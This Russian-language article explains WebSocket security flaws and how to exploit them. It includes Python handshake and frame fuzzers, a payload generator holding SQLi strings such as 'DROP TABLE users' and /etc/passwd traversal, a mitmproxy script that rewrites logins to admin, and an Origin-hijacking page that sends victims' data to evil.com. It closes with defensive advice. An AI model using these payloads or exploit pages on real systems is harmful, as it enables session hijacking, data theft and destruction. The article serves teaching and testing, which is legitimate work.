Статья Уязвимости в конфигурациях WebSocket и их эксплуатация

1768332056269.webp


Сегодня на столе - WebSocket. Не та картинка, которую рисуют на хакатонах, а его пульсирующая изнанка: конфигурации, которые режут по живому, и тихая, почти невидимая эксплуатация.

WS Underworld: Когда живой канал становится твоей задней дверью

Зачем нам это?

Все слышали про WebSocket (далее WS). «Двунаправленный», «живой», «real-time». Этим словосочетаниями менеджеры и junior-архитекторы бросаются налево и направо. Веб превращается из груды запросов-ответов в нечто живое. Чатчики, трейдинговые панели, онлайн-игры, коллаборативные редакторы - красота.

Но хакерский взгляд видит иное. Он видит не канал для фич, а новую поверхность атаки. Огромную, часто забытую, плохо защищённую. Почему? Потому что WS ломает старую, привычную модель HTTP. Весь зоопарк WAF’ов (Web Application Firewall), который научился ловить SQLi, XSS и прочее в параметрах GET/POST, часто слепнет, глядя на поток бинарных или текстовых данных, льющихся по одному и тому же соединению. Потому что разработчики, внедрив ws:// или w://, считают работу сделанной. Потому что в документации к фреймворкам раздел «безопасность» про WS часто помещается где-то между «благодарностями» и «лицензией».

Давай копать.


Часть 1: Основа. Не TCP и не HTTP - а своё собственное болото

Прежде чем ломать, нужно понять, как оно устроено. Не на уровне «рукопожатие и потом данные», а глубже.

1.1. Рукопожатие - точка входа

Классика. Клиент шлет HTTP Upgrade-запрос.

Код:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://example.com
Sec-WebSocket-Version: 13

Сервер отвечает:

Код:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Вот здесь, в этом почти HTTP-обмене, уже лежит первый пласт уязвимостей. Всё, что относится к плохой обработке HTTP-заголовков, применимо и здесь. Но есть и специфика.
  • Sec-WebSocket-Key и Sec-WebSocket-Accept: Механизм для избежания кеширования прокси. Не аутентификация. Никогда. Многие думают, что это что-то вроде токена. Нет. Это deterministic-преобразование. Проверить его правильность можно, но это защита не от злоумышленника, а от древних прокси.
  • Origin: Вот он - ключевой заголовок. Основа политики Same-Origin для WS. Но его может не быть. В нативном JS браузера он добавляется автоматически. А что, если клиент - не браузер? Кастомный клиент на Python, C, Go? Он может отправить любой Origin, а может и не отправить вовсе. И тут всё зависит от сервера.
Практический инструмент №1: ws-harness (наш самопал)
Мы не будем полагаться на абстрактные curl-запросы. Давай набросаем простейший, но гибкий инструмент для тестирования рукопожатия. Python с библиотекой websockets - наш выбор.

Python:
import asyncio
import websockets
import ssl
import argparse
from urllib.parse import urlparse

async def test_handshake(url, origin=None, subprotocols=[], headers={}):
    """
    Кастомное рукопожатие. Играем с заголовками.
    """
    parsed = urlparse(url)
    use_ssl = parsed.scheme == 'wss'

    # Кастомные заголовки
    extra_headers = []
    if origin:
        extra_headers.append(('Origin', origin))
    if subprotocols:
        extra_headers.append(('Sec-WebSocket-Protocol', ', '.join(subprotocols)))
    for k, v in headers.items():
        extra_headers.append((k, v))

    try:
        async with websockets.connect(
            url,
            ssl=use_ssl,
            extra_headers=extra_headers,
            # Очень важный параметр! Показывает, как сервер реагирует на мусор.
            subprotocols=subprotocols if subprotocols else None,
            timeout=10
        ) as ws:
            print(f"[+] Успешное соединение!")
            print(f"    Выбранный подпротокол: {ws.subprotocol}")
            # Можно сразу отправить тестовый фрейм
            await ws.send("ping")
            resp = await asyncio.wait_for(ws.recv(), timeout=2)
            print(f"    Ответ на 'ping': {resp}")
            await ws.close()
    except Exception as e:
        print(f"[-] Ошибка соединения: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='WS Handshake Tester')
    parser.add_argument('url', help='WS/WSS URL (e.g., ws://target:8080/chat)')
    parser.add_argument('--origin', help='Spoof Origin header')
    parser.add_argument('--subproto', nargs='+', help='List of subprotocols to request')
    parser.add_argument('--header', action='append', help='Custom header (format: Key:Value)')
    args = parser.parse_args()

    custom_headers = {}
    if args.header:
        for h in args.header:
            k, v = h.split(':', 1)
            custom_headers[k.strip()] = v.strip()

    asyncio.run(test_handshake(args.url, args.origin, args.subproto or [], custom_headers))

Запускаем: python ws_harness.py ws://vulnerable-chat.local:8080/ws --origin httрs://evil.com/
Смотрим: принимает ли сервер соединение с левым Origin? Если да -первый флажок в нашу копилку. Это потенциальная уязвимость к WebSocket Origin Hijacking (об этом ниже).

1.2. После рукопожатия: фреймы, а не потоки

Здесь важно отойти от HTTP-мышления. Данные идут фреймами. У фрейма есть тип: текстовый (0x1), бинарный (0x2), закрытие (0x8), ping (0x9), pong (0xA) и т.д. Сервер должен уметь их парсить. Парсеры - сложные штуки. А что сложно, то можно сломать.

Уязвимость: Парсинг фреймов и DoS. Представь фрейм с заявленной длиной 2^63 - 1 байт (максимальное значение для 64-битного). Наивный парсер может зарезервировать под него память и упасть. Или фрейм с маской (клиентские фреймы должны маскироваться), где маска - мусор, и парсер уходит в бесконечный цикл. Это низкоуровнево, но реально. Чаще встречается в кастомных, самописных серверах на C++ или Rust.

Практический инструмент №2: ws_fuzzer
Берём библиотеку, которая позволяет собирать сырые фреймы. Например, wsproto или python-socket. Наша цель - не просто отправить данные, а отправить некорректный фрейм.

Python:
import socket
import ssl
import struct
import time

def create_malformed_frame(opcode=0x1, payload=b"", masked=False, mask_key=None, fin=True, length_override=None):
    """
    Собираем фрейм вручную. Можем сломать спецификацию.
    """
    frame = bytearray()
    # FIN, RSV1-3, Opcode
    first_byte = (0b10000000 if fin else 0) | (opcode & 0b00001111)
    frame.append(first_byte)

    # Mask bit и длина
    payload_len = len(payload)
    if length_override is not None:
        payload_len = length_override

    if payload_len <= 125:
        second_byte = payload_len
        if masked:
            second_byte |= 0b10000000
        frame.append(second_byte)
        len_bytes = None
    elif payload_len <= 65535:
        second_byte = 126 | (0b10000000 if masked else 0)
        frame.append(second_byte)
        len_bytes = struct.pack('!H', payload_len)
        frame.extend(len_bytes)
    else:
        second_byte = 127 | (0b10000000 if masked else 0)
        frame.append(second_byte)
        len_bytes = struct.pack('!Q', payload_len)
        frame.extend(len_bytes)

    # Маска
    if masked:
        if mask_key is None:
            mask_key = struct.pack('!I', 0xDEADBEEF) # Произвольная маска
        frame.extend(mask_key)
        # Применяем маску к payload (если он есть и мы не переопределили длину)
        if payload and length_override is None:
            masked_payload = bytearray(payload)
            for i in range(len(masked_payload)):
                masked_payload[i] ^= mask_key[i % 4]
            payload = masked_payload

    if payload and length_override is None:
        frame.extend(payload)
    elif length_override and length_override > 0:
        # Если переопределили длину, добавляем мусор или ничего
        frame.extend(b'X' * min(1000, length_override)) # Чтобы не сожрать всю память

    return bytes(frame)

def send_malformed_handshake_and_frame(host, port, path='/', use_ssl=False, frame=None):
    """
    Сначала выполняем обычное рукопожатие, потом шлём битый фрейм.
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    if use_ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        sock = context.wrap_socket(sock, server_hostname=host)
    sock.connect((host, port))

    # Стандартное рукопожатие
    handshake = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    sock.send(handshake)
    resp = sock.recv(4096)
    print(f"[*] Ответ на рукопожатие: {resp[:200]}...")

    if b"101 Switching Protocols" in resp:
        print("[+] Рукопожатие успешно. Шлём злой фрейм.")
        time.sleep(0.5)
        sock.send(frame)
        # Ждём ответа (может не быть) или падения
        try:
            sock.settimeout(3)
            response = sock.recv(1024)
            print(f"[*] Ответ сервера: {response}")
        except socket.timeout:
            print("[!] Таймаут. Сервер мог упасть или замолчать.")
        except ConnectionResetError:
            print("[!] Соединение разорвано сервером (возможно, креш).")
    else:
        print("[-] Рукопожатие провалилось.")

    sock.close()

# Примеры злых фреймов:
# 1. Огромная длина
frame_huge_len = create_malformed_frame(opcode=0x1, payload=b"test", length_override=(2**63 - 1))
# 2. Неверный opcode (например, 0x3 - зарезервирован)
frame_bad_opcode = create_malformed_frame(opcode=0x3, payload=b"reserved")
# 3. Фрейм с флагом RSV1 (для расширений), который не поддерживается
frame_rsv = bytearray(b'\xC1\x05hello')  # FIN=1, RSV1=1, Opcode=0x1 (текст), маска=0, длина=5
frame_rsv.extend(b'hello')

# Использование:
# send_malformed_handshake_and_frame('localhost', 8080, '/ws', use_ssl=False, frame=frame_huge_len)

Важное предупреждение: Этот инструмент для тестирования твоих собственных серверов в изолированном стенде. Отправка таких фреймов на чужую инфраструктуру без явного разрешения - это криминал. Мы говорим об исследовании, а не о вандализме.

1.3. Подпротоколы (Subprotocols)

Поле Sec-WebSocket-Protocol в рукопожатии. Задумано для согласования формата данных (например, soap, wamp, graphql-ws). Сервер должен выбрать ОДИН из предложенных или отказаться. Типичная ошибка: сервер принимает первый подпротокол из списка клиента без проверки или, что ещё хуже, исполняет логику в зависимости от подпротокола.

Атака: Клиент шлёт список: Sec-WebSocket-Protocol: secret-admin-protocol, chat. Если сервер наивен и просто берёт первый, который знает, он выберет chat. Но если в его коде есть ветка:

JavaScript:
if (chosenProtocol === 'secret-admin-protocol') {
    enableAdminMode(ws);
}

А сервер проверяет подпротокол после рукопожатия, и проверка кривая… Можно попробовать внедрить что-то. Или просто вызвать ошибку, ведущую к раскрытию информации.

Тестируем нашим ws-harness: python ws_harness.py wss://target/ws --subproto "..\..\bin\bash" "chat"


Часть 2: Уязвимости конфигурации - хлеб насущный

Теперь от низкоуровневых тонкостей перейдём к тому, что встречается в 90% случаев. Конфиги. То, что настраивают админы и разработчики, не думая о WS.

2.1. Отсутствие проверки Origin (WebSocket Origin Hijacking)

Самая распространённая дыра. Суть: сервер не проверяет заголовок Origin при рукопожатии или проверяет его некорректно.
  • Сценарий 1: Полное игнорирование. Сервер принимает соединение с любым Origin, даже без него. Любой сайт в интернете через JS может открыть WS-соединение к такому серверу от имени пользователя, у которого есть сессия на целевом сервисе (если это браузерное приложение). Это классическая CSRF, но на уровне сокета.
  • Сценарий 2: Проверка по "whitelist", но с ошибкой. Например, проверка origin.includes("tаrget.com"). Тогда evil-tаrget.com или target.com.evil.ru пройдут.
  • Сценарий 3: Путаница с null Origin. Origin: null возникает при открытии HTML-файла с диска (file://) или в некоторых
    sandboxed-iframe. Если сервер разрешает null - это может быть лазейкой.
Эксплуатация:
  1. Находим WS-эндпоинт (например, wss://app.tаrget.com/ws).
  2. Создаём зловредную страницу на своём домене (https://еvil.com/exploit.html).
  3. На странице JS-код:

JavaScript:
const ws = new WebSocket('wss://app.target.com/ws');
ws.onopen = () => {
    // Мы внутри! Сессия пользователя, открывшего evil.com, используется.
    ws.send(JSON.stringify({action: "getUserData"}));
};
ws.onmessage = (event) => {
    // Пересылаем данные на свой сервер
    fetch('https://evil.com/steal', {method: 'POST', body: event.data});
};

4. Заманиваем жертву (пользователя аpp.target.com) на evil.сom. WS-соединение в браузере автоматически прикрепит куки сессии к рукопожатию (если не стоит SameSite=Strict). Пабеда.

Защита (со стороны сервера): Строгая проверка Origin на бэкенде. Сравнивать полное совпадение с доверенными доменами. Никаких includes, только точное соответствие или проверка по списку.

2.2. Отсутствие аутентификации/авторизации на уровне WS-соединения

Типичный кейс: приложение делает HTTP-логин, устанавливает сессионную куку. Потом открывает WS-соединение. Логика на сервере:

JavaScript:
// ПСЕВДОКОД! Пример плохой практики.
wss.on('connection', (ws, req) => {
    // 1. Нет проверки, аутентифицирован ли пользователь.
    // 2. Предполагается, что раз соединение пришло с того же домена (Origin), то всё ОК.
    // 3. Или проверяется "токен" в query string, который можно перебрать.
    const url = new URL(req.url, 'http://dummy');
    const token = url.searchParams.get('token');
    if (token === 'someStaticSecret') { // Ужасно!
        ws.user = {role: 'admin'};
    }
    // Дальше вся логика чата/игры и т.д.
});

Уязвимости:
  • Predictable URL/токен. Если для подключения к WS нужен параметр (/ws?token=SECRET), и этот SECRET - общий для всех или слабый (инкрементируется), его можно угадать или найти в JS-файлах приложения.
  • Отсутствие привязки к HTTP-сессии. Даже если есть HTTP-сессия, сервер WS должен как-то понять, какой пользователь подключился. Часто это делают через передачу сессионной куки или токена в query string при установке соединения. Если эта передача не защищена (например, токен виден в логах прокси), его можно перехватить.
  • Авторизация после соединения. Сервер принимает соединение, а уже потом ждёт от клиента сообщение типа {"auth": "token"}. До этой команды клиент уже может иметь какой-то доступ (например, слушать общие каналы). Это может привести к утечке информации.
Практический инструмент №3: Сниффинг и перехват WS-трафика
Для эксплуатации нужно понять, как клиент аутентифицируется. Браузерные DevTools (вкладка Network -> WS) покажут URL соединения и все фреймы. Но если нужно глубже или работать с десктоп-клиентами, используем mitmproxy.

Mitmproxy имеет встроенную поддержку WebSocket. Можно писать скрипты для автоматической модификации фреймов.

Пример скрипта для mitmproxy (ws_injector.py):

Python:
from mitmproxy import ctx, http
from mitmproxy.websocket import WebSocketFlow

def websocket_message(flow: WebSocketFlow):
    """
    Вызывается для каждого сообщения WS.
    flow.messages - список сообщений (from_client, content).
    """
    message = flow.messages[-1]
    if message.from_client:
        ctx.log.info(f"Client -> Server: {message.content}")
        # Пример: если видим сообщение с логином, подменим его
        if b'"login":"user"' in message.content:
            new_content = message.content.replace(b'"login":"user"', b'"login":"admin"')
            message.content = new_content
            ctx.log.warn(f"Injected admin login!")
    else:
        ctx.log.info(f"Server -> Client: {message.content}")

def request(flow: http.HTTPFlow):
    # Перехватываем HTTP-запрос на рукопожатие
    if "websocket" in flow.request.headers.get("upgrade", "").lower():
        ctx.log.info(f"WS Handshake to: {flow.request.path}")
        # Можно подменить заголовок Origin
        # flow.request.headers["origin"] = "https://trusted.com"

Запуск: mitmweb -s ws_injector.py (с веб-интерфейсом). Настраиваем браузер или систему на использование прокси mitmproxy. Всё, мы видим все фреймы и можем их менять на лету.

2.3. Небезопасные WSS (SSL/TLS конфигурации)

ws:// - это чистейший текст. Его нельзя использовать в продакшене, точка. Но и wss:// - не панацея. Всё, что относится к плохой SSL/TLS конфигурации (устаревшие протоколы, слабые шифры, самоподписанные сертификаты без проверки на клиенте), применимо и тут.

Особенность: многие WS-клиенты (особенные в desktop-приложениях на Electron или мобильных) отключают проверку сертификатов для удобства. В коде это выглядит как rejectUnauthorized: false в Node.js или аналог. Это означает, что MITM-атака с самоподписанным сертификатом становится тривиальной.

Как искать? Статический анализ клиентского кода (если он доступен, как в Electron-приложениях). Или динамический анализ: запустить приложение, поставить ему в прокси что-то вроде Burp Suite или mitmproxy с собственным сертификатом, и посмотреть - примет ли оно соединение.

2.4. Конфигурация файервола и балансировщиков

WS работает на том же порту, что и HTTP(S) (чаще всего 80/443). Но его поведение иное: одно долгоживущее соединение вместо множества коротких.
  • Таймауты. Балансировщики (Nginx, HAProxy, облачные LB) имеют таймауты для keep-alive соединений. Для WS их нужно увеличивать (часы, а не секунды). Если не увеличить, соединение будет обрываться по таймауту неактивности (ping/pong могут не помочь, если балансировщик их не понимает).
  • Буферы. Большие фреймы или высокая частота сообщений могут переполнять буферы балансировщика, если они заточены под мелкие HTTP-запросы.
  • Проксирование заголовков. Балансировщик должен корректно проксировать заголовки, особенно Upgrade и Connection. И, что критично, заголовки, которые используются для аутентификации (куки, Authorization). Ошибки в конфигах Nginx (proxy_set_header) могут привести к тому, что бэкенд получит соединение без сессионной куки и откроет его для анонима.
Пример плохой конфигурации Nginx:

Код:
location /ws/ {
    proxy_pass http://backend;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    # ЗАБЫЛИ ПРОКИНУТЬ КУКИ! Бэкенд не увидит Cookie.
    # proxy_set_header Cookie $http_cookie; <-- ЭТОЙ СТРОКИ НЕТ
}

Результат: любой может подключиться к /ws/ и получить авторизованный доступ, потому что бэкенд не видит куки и не может проверить сессию.

Инструментарий:
  1. Проверка таймаутов: Простое поддерживающее соединение скриптом и проверкой, через какое время оно рвётся.
  2. Анализ конфигов: Ручной аудит конфигурационных файлов (если есть доступ) на предмет проксирования нужных заголовков.

1768332112563.webp


Часть 3: Уязвимости уровня приложения - где живёт логика

Допустим, соединение установлено безопасно. Теперь начинается обмен сообщениями. И здесь нас ждёт целый мир.

3.1. Инъекции в протокол приложения

WS - это транспорт. Поверх него почти всегда работает свой протокол: JSON-RPC, GraphQL over WS, STOMP, кастомный бинарный протокол.
  • JSON Injection / Веб-сокетный SQLi. Клиент шлёт: {"action": "getMessages", "channel": "general' OR '1'='1"}. Если сервер некорректно обрабатывает параметры, конкатенируя их в SQL-запрос, мы получаем классическую инъекцию.
  • GraphQL over WS. Весь спектр уязвимостей GraphQL (интроспекция, брут-сила, Batch-атаки) жив и здесь. Особенно опасна интроспекция, если она не отключена в продакшене. Через WS можно отправить запрос {__schema{...}} и получить полную карту API.
  • Десериализация. Если сервер принимает бинарные данные и десериализует их (например, Pickle в Python, Java Serialization), можно попробовать эксплойты десериализации.
Практический инструмент №4: WS-Attacker (и его аналоги)
Существуют специализированные инструменты. Один из самых известных - WS-Attacker (правда, немного устарел, но концептуально верен). Это фреймворк для тестирования безопасности WS.

Мы же, по нашему хакерскому пути, можем расширить наш ws-harness до простого фаззера протокола.

Python:
import json
import random
import string

def generate_payloads(input_message):
    """
    Принимает пример корректного сообщения (dict), возвращает список с инъекциями.
    """
    payloads = []
    template = input_message.copy()

    # 1. SQLi
    sql_payloads = ["' OR '1'='1", "' UNION SELECT null, version() --", "1; DROP TABLE users--"]
    for key, val in template.items():
        if isinstance(val, str):
            for sql in sql_payloads:
                new = template.copy()
                new[key] = val + sql
                payloads.append(new)

    # 2. JSON Injection (разрыв структуры)
    if 'action' in template:
        new = template.copy()
        new['action'] = 'getUser", "admin":true, "ignored":"'
        # Цель: {"action": "getUser", "admin":true, "ignored":"", ...} -> может сломать логику парсинга
        payloads.append(new)

    # 3. Path Traversal, если есть параметры, похожие на пути
    for key, val in template.items():
        if 'path' in key.lower() or 'file' in key.lower() or isinstance(val, str) and ('../' in val or '\\' in val):
            for traversal in ['../../../etc/passwd', 'C:\\Windows\\system32\\cmd.exe']:
                new = template.copy()
                new[key] = traversal
                payloads.append(new)

    # 4. Большие данные для проверки на DoS
    big_string = 'A' * 100000
    for key in template:
        new = template.copy()
        new[key] = big_string
        payloads.append(new)

    return payloads

async def fuzz_protocol(url, auth_message=None, test_messages=[]):
    """
    Устанавливаем соединение (возможно, с аутентификацией), затем фаззим.
    """
    async with websockets.connect(url) as ws:
        # Если нужна аутентификация
        if auth_message:
            await ws.send(json.dumps(auth_message))
            resp = await ws.recv()
            print(f"[*] Auth response: {resp}")

        for original_msg in test_messages:
            payloads = generate_payloads(original_msg)
            for p in payloads:
                try:
                    await ws.send(json.dumps(p))
                    # Ждём ответ с небольшим таймаутом
                    resp = await asyncio.wait_for(ws.recv(), timeout=2.0)
                    print(f"[?] Для {p} -> Ответ: {resp[:200]}")
                    # Анализируем ответ: ошибки, таймауты, странные данные
                    if "error" in resp.lower() or "exception" in resp:
                        print(f"[!] Возможная уязвимость при payload {p}")
                        print(f"    Ответ: {resp}")
                except asyncio.TimeoutError:
                    print(f"[!] Таймаут для payload {p}. Возможный DoS или краш.")
                except websockets.exceptions.ConnectionClosed:
                    print(f"[!] Соединение закрыто сервером после payload {p}. Серьёзно!")
                    # Переподключаемся для следующего теста
                    return

3.2. Недостаточная изоляция комнат/каналов (Pub/Sub)

Многие WS-приложения используют модель Pub/Sub (публикация/подписка). Пользователь подписывается на "комнату" или "канал". Уязвимость возникает, если:
  1. Имя канала предсказуемо (например, user-123-private).
  2. Нет проверки прав на подписку на этот канал.
Атака: Узнав ID другого пользователя (часто он есть в URL или публичном профиле), злоумышленник подписывается на канал
user-victim_id-private и получает все его личные уведомления, сообщения, изменения данных в реальном времени.

3.3. Состояние и race conditions

WS соединение - состояние. На сервере объект WebSocketClient часто привязан к объекту User. Что, если два соединения от одного пользователя? Как сервер обрабатывает конкурирующие команды? Например:
  1. Сообщение "перевести деньги X -> Y".
  2. Быстро отправить две таких команды в параллельных соединениях. Проверка баланса может произойти до списания в обоих случаях, что приведёт к двойному списанию или даже отрицательному балансу (если проверка "достаточно ли денег" идёт в начале, а списание - позже).
Тестируется сложно, но возможно через создание множества соединений с одним и тем же токеном аутентификации и отправкой синхронизированных команд.

3.4. Межсайтовое взаимодействие через WS (CSRF vs WS-Hijacking)

Мы уже говорили про Origin. Но есть нюанс: даже если Origin проверяется, классическая CSRF-защита (токены) не работает для WS, потому что браузер не позволяет устанавливать кастомные заголовки в WS-рукопожатии через JS API. Значит, основная защита - это проверка Origin и наличие сессионной куки.

Однако, если приложение использует для аутентификации в WS не куки, а токен в параметре URL (/ws?token=...), и этот токен можно получить легитимно (например, он отображается на странице после логина), то возникает классическая CSRF: зловредный сайт может вставить img src="https://target.com/get_token?for=attacker;, получить токен, и затем открыть WS-соединение с ним. Защита: токены должны быть привязаны к сессии и не выдаваться по сторонним запросам без явного согласия пользователя (OAuth, например).


Часть 4: Инструментарий паука - что использовать в разведке и атаке

Соберём всё воедино. Как выглядит процесс тестирования WS с нуля?

4.1. Разведка (Recon)
  1. Поиск эндпоинтов: Парсим JS-файлы приложения (app.js, main.chunk.js) на предмет нового WebSocket(ws://, wss://, /socket.io, /ws. Инструменты: grep, Burp Suite, кастомные скрипты.
  2. Анализ трафика: Открываем приложение в браузере с DevTools. Смотрим вкладку Network -> WS. Изучаем:
    • URL эндпоинта.
    • Заголовки рукопожатия (особенно Origin, Sec-WebSocket-Protocol).
    • Формат сообщений (JSON, бинарный, текст).
    • Последовательность сообщений (аутентификация, подписка и т.д.).
  3. Сбор информации о сервере: Ответы сервера могут содержать заголовки, раскрывающие технологии (Server: Node.js,
    X-Powered-By: Socket.io). Иногда в ошибках (при некорректном рукопожатии) можно увидеть стектрейсы.
4.2. Фаззинг и тестирование на уязвимости
  1. Рукопожатие: Используем наш ws-harness для проверки Origin, Subprotocols, кастомных заголовков.
  2. Протокол: Используем расширенный фаззер для инъекций, подмены сообщений. Перехватываем трафик через mitmproxy и модифицируем его.
  3. Авторизация: Пробуем подключиться без токена, с чужим токеном (если можем его добыть или предсказать).
  4. Изоляция: Пробуем подписаться на чужие каналы, отправить сообщение от чужого имени.
  5. Нагрузочное тестирование (осторожно!): Проверяем, как сервер реагирует на тысячи соединений, на огромные фреймы, на частые ping/pong. Инструменты: autobahn-testsuite (полезен и для негативного тестирования), websocket-bench.
4.3. Эксплуатация
  1. Для Origin Hijacking: Пишем эксплоит-страницу, размещаем на своём сервере, заманиваем жертву.
  2. Для инъекций: Используем скомпрометированный доступ для кражи данных, эскалации привилегий (подмена "user_id" в сообщениях).
  3. Для десериализации: Готовим шелл-код для конкретной технологии и отправляем его в бинарном сообщении.

Часть 5: Защита - как не стать жертвой

Защита - это не список "сделайте так". Это понимание принципов.
  1. Всегда используй WSS (TLS). Никаких ws:// в продакшене. Настрой правильные шифры, отключи старые протоколы.
  2. Жёсткая проверка Origin. На сервере. Сравнивай полное совпадение с белым списком. Не доверяй заголовку, если он пришёл от непроверенного клиента (но в браузере он надёжен).
  3. Аутентификация и авторизация ДО открытия WS-соединения. Идеальный вариант: сессионная кука, которая автоматически отправляется браузером, проверяется на бэкенде при рукопожатии, и только потом создаётся объект соединения, привязанный к объекту пользователя. Альтернатива - одноразовые токены в query string, генерируемые страницей после проверки сессии.
  4. Валидация входных данных. Все сообщения, пришедшие по WS, должны проверяться так же тщательно, как параметры HTTP-запроса. Схемы, типы, диапазоны.
  5. Изоляция. Проверяй права пользователя на каждое действие (подписка на канал, отправка сообщения в канал). Идентификаторы каналов должны быть криптостойкими (UUID, а не инкрементальные ID) или проверяться через доступ.
  6. Лимиты. Ограничивай:
    • Размер фрейма.
    • Частоту сообщений от одного соединения.
    • Количество соединений с одного IP/пользователя.
    • Общее количество соединений на сервере.
  7. Настрой инфраструктуру. Увеличь таймауты для WS в балансировщиках. Убедись, что все нужные заголовки (особенно куки) проксируются. Рассмотри использование специализированных прокси для WS (например, специализированный сервер с адаптером для кластеризации).
  8. Пинг-понг. Реализуй механизм ping/pong для обнаружения "висячих" соединений и сброса не отвечающих клиентов.
  9. Логирование и мониторинг. Логируй установку и разрыв соединения (с идентификатором пользователя). Мониторь аномальную активность: всплески сообщений, попытки подключения с левыми Origin.

Это не дыра в теории, это дверь в реальности

WebSocket - прекрасная технология, которая стирает границы между клиентом и сервером. Но именно эта «стираемость» и является её главной опасностью.

Давай остановимся на слове «стирает». Это не красивая метафора из буклета. Это технический факт, который меняет всё. В модели HTTP/1.1, которую мы все (не)любим, границы были чёткими, как линии в консоли. Есть запрос. От клиента. С заголовками, телом, методом. И есть ответ. От сервера. Конец истории. Каждый такой обмен это атомарное событие. Его можно логгировать, ему можно назначить уникальный ID, его можно прервать, не трогая другие. Фаерволы и WAF’ы заточены под эту дискретность. Они умеют «понимать», где начало, а где конец. Они живут в мире stateless-взаимодействий, даже поверх keep-alive.

WebSocket эту модель не просто нарушает. Он её выносит за скобки. После рукопожатия, который лишь формально является HTTP-пакетом, устанавливается постоянный, двунаправленный канал. Это уже не обмен пакетами. Это туннель. Сетевой сокет, поднятый на уровень приложения и завёрнутый в браузерный API.

Вот что на самом деле означает «стирание границ»:
  • Стирается граница между «запросом» и «сессией». Весь обмен данными теперь происходит в рамках одной долгоживущей сессии-сокета. WAF, который привык инспектировать каждый отдельный HTTP-запрос, часто просто пропускает весь поток данных после 101-го кода, доверяя, что раз рукопожатие прошло, то дальше - валидный WS-трафик. Но внутри этого трафика может течь всё что угодно: и SQL-инъекции, и команды на десериализацию, и попытки подписки на чужие каналы. Фаервол слепнет, потому что его парсер HTTP останавливается на первом двойном переводе строки после 101 Switching Protocols.
  • Стирается граница между клиентом и сервером в роли инициатора. В HTTP сервер - всегда отвечающая сторона. В WebSocket сервер может отправить данные когда захочет. Это ломает ментальные модели безопасности, построенные вокруг обработки входящих запросов. Теперь «входящее» может прийти в любой момент, и логика авторизации должна быть готова к этому. Слабая, одноразовая проверка при коннекте уже не катит.
  • Стирается граница между транспортом и протоколом приложения. Разработчик думает: «Я использую WebSocket». На деле он использует два слоя: 1) транспортный протокол WS (фреймы, ping/pong), и 2) свой, кастомный протокол приложения, который бежит поверх этих фреймов (JSON-RPC, STOMP, просто поток JSON-объектов). Безопасность первого слоя (валидность фреймов, маски, Origin) - ответственность библиотеки. Безопасность второго слоя (валидация JSON-полей, проверка прав на действие {"action": "deleteUser"}) - полностью на разработчике. И здесь происходит фатальная подмена: защитив транспорт (скажем, поставив WSS), он считает, что защитил и приложение. Это как поставить бронированную дверь в дом со стенами из картона.
Она создаёт иллюзию «своего» канала, доверительного, почти что внутреннего.

Эта иллюзия - самый коварный враг. После установки соединения, особенно внутри одного домена (тот же Origin), у разработчика возникает чувство, что он общается не с внешним, потенциально враждебным миром, а со своим доверенным клиентом. В его голове это выглядит как прямая линия между двумя модулями одной системы. Почти как IPC (Inter-Process Communication), но через сеть.

Чем это проявляется в коде? Давай посмотрим на реальные, вшитые в мясо, антипаттерны:
  1. Пропуск авторизации для «служебных» сообщений. Пример из жизни микросервисной архитектуры:
    if (message.type === 'healthcheck') { ws.send('ok'); return; }. Здорово, правда? Быстрый внутренний пинг. А если злоумышленник просто начнёт слать {"type": "healthcheck"} каждую миллисекунду? Это DoS, который обходит все тяжёлые middleware аутентификации.
  2. Доверие к данным «внутреннего» формата. «Мы же внутри своего протокола, тут всё структурировано». И в обработчик приходит JSON: {"cmd": "update", "settings": {"theme": "dark"}}. А что, если прислать
    {"cmd": "update", "settings": {"theme": "dark"}, "__proto__": {"isAdmin": true}}? Или если парсер на Node.js использует JSON.parse без проверок, а потом где-то глубоко в логике происходит мерж объектов Object.assign(target, receivedData.settings). Иллюзия «внутреннего» формата усыпляет бдительность к классическим атакам на сериализацию и прототипы.
  3. Отсутствие rate limiting и мониторинга. На HTTP-роут /api/login обычно ставят лимиты в 10 запросов в минуту с IP. А на WS-соединение, которое раз установлено и может слать 1000 сообщений в секунду - ставят? Чаще всего нет. Потому что это же «живое соединение», «чат должен быть быстрым». Иллюзия доверительного канала отключает мысль о злоупотреблении.
И в эту иллюзию вписываются и разработчики, забывающие про безопасность, и администраторы, копирующие HTTP-конфиги для WS.

Разработчик, забывающий про безопасность, - это не обязательно ленивый джун. Это человек, который сосредоточен на функциональности. Он читает туториал: «Как сделать чат на за 10 минут». В туториале после установки соединения сразу идёт
socket.on('chat message', ...). Ни слова про socket.on('connect', () =&gt; { /* а тут проверим, кто это? */ }). Модель ментальная такова: «Раз подключился - значит, свой». Он забывает не потому, что глуп, а потому что абстракция, предоставляемая библиотекой (socket - это как бы уже пользователь), напрямую способствует этой забывчивости. Библиотека берёт на себя транспорт, а значит, по ощущениям, должна бы взять и безопасность. Но нет.

Администратор, копирующий HTTP-конфиги, - это системный герой, который держит на себе десять сервисов. Он видит в конфиге приложения строчку: websocket: true. Его задача - пропустить трафик. Он открывает конфиг Nginx для этого приложения, видит location / с proxy_pass. Он копирует его, создаёт location /ws/ или /socket.io/, добавляет магические строчки
proxy_http_version 1.1;, proxy_set_header Upgrade $http_upgrade;, proxy_set_header Connection "upgrade";.
Он молодец. Он сделал, что просили. Трафик пошёл.

Но что он не скопировал, потому что в HTTP-конфиге этого не было?
  • proxy_read_timeout 3600s; (чтобы соединение не обрывалось по таймауту неактивности).
  • proxy_set_header Cookie $http_cookie; (если это не наследуется по умолчанию, а в бэкенде проверяют куки).
  • Настройки буферов для больших фреймов (proxy_buffer_size, proxy_buffers).
